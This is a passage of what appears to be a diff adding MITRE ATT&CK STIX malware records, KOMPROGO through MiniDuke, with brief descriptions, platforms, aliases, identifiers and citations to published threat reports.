"x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0156", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0156" + }, + { + "description": "(Citation: FireEye APT32 May 2017)", + "source_name": "KOMPROGO" + }, + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ] + }, + { + "name": "KONNI", + "description": "[KONNI](https://attack.mitre.org/software/S0356) is a Windows remote administration too that has been seen in use since 2014 and evolved in its capabilities through at least 2017. [KONNI](https://attack.mitre.org/software/S0356) has been linked to several campaigns involving North Korean themes.(Citation: Talos Konni May 2017) [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family. There is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)", + "id": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "malware", + "x_mitre_aliases": [ + "KONNI" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-31T00:36:39.771Z", + "modified": "2019-07-26T18:47:18.141Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0356", + "url": "https://attack.mitre.org/software/S0356" + }, + { + "description": "(Citation: Talos Konni May 2017)", + "source_name": "KONNI" + }, + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + }, + { + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "source_name": "Unit 42 NOKKI Sept 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + }, + { + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "source_name": "Unit 42 Nokki Oct 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ] + }, + { + "name": "Kasidet", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Kasidet" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "created": "2017-05-31T21:32:57.344Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0088", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0088" + }, + { + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "source_name": "Zscaler Kasidet", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ] + }, + { + "name": "Kazuar", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) is a fully featured, multi-platform backdoor Trojan written using the Microsoft .NET framework. (Citation: Unit 42 Kazuar May 2017)", + "id": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Kazuar" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2019-04-24T15:26:03.457Z", + "external_references": [ + { + "external_id": "S0265", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0265" + }, + { + "description": "(Citation: Unit 42 Kazuar May 2017)", + "source_name": "Kazuar" + }, + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ] + }, + { + "name": "KeyBoy", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) is malware that has been used in targeted campaigns against members of the Tibetan Parliament in 2016.(Citation: CitizenLab KeyBoy Nov 2016)(Citation: PWC KeyBoys Feb 2017)", + "id": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0387", + "url": "https://attack.mitre.org/software/S0387" + }, + { + "description": "(Citation: PWC KeyBoys Feb 2017)(Citation: CitizenLab KeyBoy Nov 2016)(Citation: Rapid7 KeyBoy Jun 2013)", + "source_name": "KeyBoy" + }, + { + "description": "Hulcoop, A., et al. (2016, November 17). It\u2019s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019.", + "source_name": "CitizenLab KeyBoy Nov 2016", + "url": "https://citizenlab.ca/2016/11/parliament-keyboy/" + }, + { + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "source_name": "PWC KeyBoys Feb 2017", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + }, + { + "description": "Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.", + "source_name": "Rapid7 KeyBoy Jun 2013", + "url": "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "malware", + "x_mitre_aliases": [ + "KeyBoy" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Bart Parys" + ], + "created": "2019-06-14T16:45:33.729Z", + "modified": "2019-10-11T20:13:22.095Z", + "labels": [ + "malware" + ] + }, + { + "name": "Keydnap", + "description": "This piece of malware steals the content of the user's keychain while maintaining a permanent backdoor (Citation: OSX Keydnap malware).", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Keydnap", + "OSX/Keydnap" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0276", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0276" + }, + { + "description": "(Citation: synack 2016 review)", + "source_name": "Keydnap" + }, + { + "description": "(Citation: OSX Keydnap malware)", + "source_name": "OSX/Keydnap" + }, + { + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "source_name": "OSX Keydnap malware", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + }, + { + "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", + "source_name": "synack 2016 review", + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/" + } + ] + }, + { + "name": "Komplex", + "description": "[Komplex](https://attack.mitre.org/software/S0162) is a backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be developed in a similar manner to [XAgentOSX](https://attack.mitre.org/software/S0161) (Citation: XAgentOSX 2017) (Citation: Sofacy Komplex Trojan).", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Komplex" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--f108215f-3487-489d-be8b-80e346d32518", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2019-01-30T18:19:22.606Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0162", + "url": "https://attack.mitre.org/software/S0162" + }, + { + "source_name": "XAgentOSX 2017", + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ] + }, + { + "name": "Kwampirs", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) is a backdoor Trojan used by [Orangeworm](https://attack.mitre.org/groups/G0071). It has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. (Citation: Symantec Orangeworm April 2018)", + "id": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Kwampirs" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Elger Vinicius S. Rodrigues, @elgervinicius, CYBINT Centre" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0236", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0236" + }, + { + "description": "(Citation: Symantec Orangeworm April 2018)", + "source_name": "Kwampirs" + }, + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "labels": [ + "malware" + ] + }, + { + "name": "LOWBALL", + "description": "[LOWBALL](https://attack.mitre.org/software/S0042) is malware used by [admin@338](https://attack.mitre.org/groups/G0018). It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "LOWBALL" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b", + "created": "2017-05-31T21:32:33.348Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0042", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0042" + }, + { + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "source_name": "FireEye admin@338", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ] + }, + { + "name": "LightNeuron", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) is a sophisticated backdoor that has targeted Microsoft Exchange servers since at least 2014. [LightNeuron](https://attack.mitre.org/software/S0395) has been used by [Turla](https://attack.mitre.org/groups/G0010) to target diplomatic and foreign affairs-related organizations. The presence of certain strings in the malware suggests a Linux variant of [LightNeuron](https://attack.mitre.org/software/S0395) exists.(Citation: ESET LightNeuron May 2019)", + "id": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "LightNeuron" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-06-28T13:09:26.710Z", + "modified": "2019-07-16T17:12:00.360Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0395", + "url": "https://attack.mitre.org/software/S0395" + }, + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ] + }, + { + "name": "Linfo", + "description": "[Linfo](https://attack.mitre.org/software/S0211) is a rootkit trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Linfo May 2012)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Linfo" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0211", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0211" + }, + { + "description": "(Citation: Symantec Linfo May 2012)", + "source_name": "Linfo" + }, + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "source_name": "Symantec Linfo May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ] + }, + { + "name": "Linux Rabbit", + "description": "[Linux Rabbit](https://attack.mitre.org/software/S0362) is malware that targeted Linux servers and IoT devices in a campaign lasting from August to October 2018. It shares code with another strain of malware known as Rabbot. The goal of the campaign was to install cryptocurrency miners onto the targeted servers and devices.(Citation: Anomali Linux Rabbit 2018)\n", + "id": "malware--0efefea5-78da-4022-92bc-d726139e8883", + "x_mitre_platforms": [ + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Linux Rabbit" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-03-04T17:12:37.586Z", + "modified": "2019-07-26T20:18:44.221Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0362", + "url": "https://attack.mitre.org/software/S0362" + }, + { + "description": "(Citation: Anomali Linux Rabbit 2018)", + "source_name": "Linux Rabbit" + }, + { + "description": "Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019.", + "source_name": "Anomali Linux Rabbit 2018", + "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat" + } + ] + }, + { + "name": "LoJax", + "description": "[LoJax](https://attack.mitre.org/software/S0397) is a UEFI rootkit used by [APT28](https://attack.mitre.org/groups/G0007) to persist remote access software on targeted systems.(Citation: ESET LoJax Sept 2018)", + "id": "malware--b865dded-0553-4962-a44b-6fe7863effed", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0397", + "url": "https://attack.mitre.org/software/S0397" + }, + { + "description": "(Citation: ESET LoJax Sept 2018)", + "source_name": "LoJax" + }, + { + "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019.", + "source_name": "ESET LoJax Sept 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "LoJax" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Jean-Ian Boutin, ESET" + ], + "created": "2019-07-02T12:58:09.598Z", + "modified": "2019-07-02T20:53:26.470Z", + "labels": [ + "malware" + ] + }, + { + "name": "LockerGoga", + "description": "[LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that has been tied to various attacks on European companies. It was first reported upon in January 2019.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019)", + "id": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2", + "type": "malware", + "x_mitre_aliases": [ + "LockerGoga" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-04-16T19:00:49.435Z", + "modified": "2019-10-10T12:16:50.185Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0372", + "url": "https://attack.mitre.org/software/S0372" + }, + { + "source_name": "Unit42 LockerGoga 2019", + "description": "Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.", + "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/" + }, + { + "source_name": "CarbonBlack LockerGoga 2019", + "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.", + "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/" + } + ] + }, + { + "name": "Lurid", + "description": "[Lurid](https://attack.mitre.org/software/S0010) is a malware family that has been used by several groups, including [PittyTiger](https://attack.mitre.org/groups/G0011), in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Lurid", + "Enfal" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad", + "created": "2017-05-31T21:32:14.527Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0010", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0010" + }, + { + "description": "Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.", + "source_name": "Villeneuve 2014", + "url": "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" + }, + { + "description": "Villeneuve, N., Sancho, D. (2011). THE \u201cLURID\u201d DOWNLOADER. Retrieved November 12, 2014.", + "source_name": "Villeneuve 2011", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf" + } + ] + }, + { + "name": "MURKYTOP", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) is a reconnaissance tool used by [Leviathan](https://attack.mitre.org/groups/G0065). (Citation: FireEye Periscope March 2018)", + "id": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "MURKYTOP" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-04-22T23:25:33.378Z", + "external_references": [ + { + "external_id": "S0233", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0233" + }, + { + "description": "(Citation: FireEye Periscope March 2018)", + "source_name": "MURKYTOP" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ] + }, + { + "name": "MacSpy", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) is a malware-as-a-service offered on the darkweb (Citation: objsee mac malware 2017).", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "MacSpy" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0282", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0282" + }, + { + "description": "(Citation: objsee mac malware 2017).", + "source_name": "MacSpy" + }, + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ] + }, + { + "name": "Machete", + "description": "[Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset developed by a Spanish-speaking group known as El [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines, and it was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)", + "id": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0409", + "url": "https://attack.mitre.org/software/S0409" + }, + { + "description": "(Citation: Securelist Machete Aug 2014)", + "source_name": "Machete" + }, + { + "source_name": "ESET Machete July 2019", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + }, + { + "source_name": "Securelist Machete Aug 2014", + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "url": "https://securelist.com/el-machete/66108/" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "Machete" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Matias Nicolas Porolli, ESET" + ], + "created": "2019-09-13T13:17:25.718Z", + "modified": "2019-10-15T21:19:27.277Z", + "labels": [ + "malware" + ] + }, + { + "name": "Matroyshka", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Matroyshka" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0167", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0167" + }, + { + "description": "(Citation: ClearSky Wilted Tulip July 2017)", + "source_name": "Matroyshka" + }, + { + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "source_name": "ClearSky Wilted Tulip July 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + }, + { + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "source_name": "CopyKittens Nov 2015", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ] + }, + { + "name": "Micropsia", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) is a remote access tool written in Delphi.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)", + "id": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "Micropsia" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-29T21:47:53.070Z", + "modified": "2019-04-17T22:05:05.681Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0339", + "url": "https://attack.mitre.org/software/S0339" + }, + { + "description": "(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)", + "source_name": "Micropsia" + }, + { + "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", + "source_name": "Talos Micropsia June 2017", + "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html" + }, + { + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "source_name": "Radware Micropsia July 2018", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ] + }, + { + "name": "Miner-C", + "description": "[Miner-C](https://attack.mitre.org/software/S0133) is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Miner-C", + "Mal/Miner-C", + "PhotoMiner" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234", + "created": "2017-05-31T21:33:16.315Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0133", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0133" + }, + { + "description": "Cimpanu, C.. (2016, September 9). Cryptocurrency Mining Malware Discovered Targeting Seagate NAS Hard Drives. Retrieved October 12, 2016.", + "source_name": "Softpedia MinerC", + "url": "http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml" + } + ] + }, + { + "name": "MiniDuke", + "description": "[MiniDuke](https://attack.mitre.org/software/S0051) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. The [MiniDuke](https://attack.mitre.org/software/S0051) toolset consists of multiple downloader and backdoor components. The loader has been used with other [MiniDuke](https://attack.mitre.org/software/S0051) components as well as in conjunction with [CosmicDuke](https://attack.mitre.org/software/S0050) and [PinchDuke](https://attack.mitre.org/software/S0048). (Citation: F-Secure The Dukes)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": 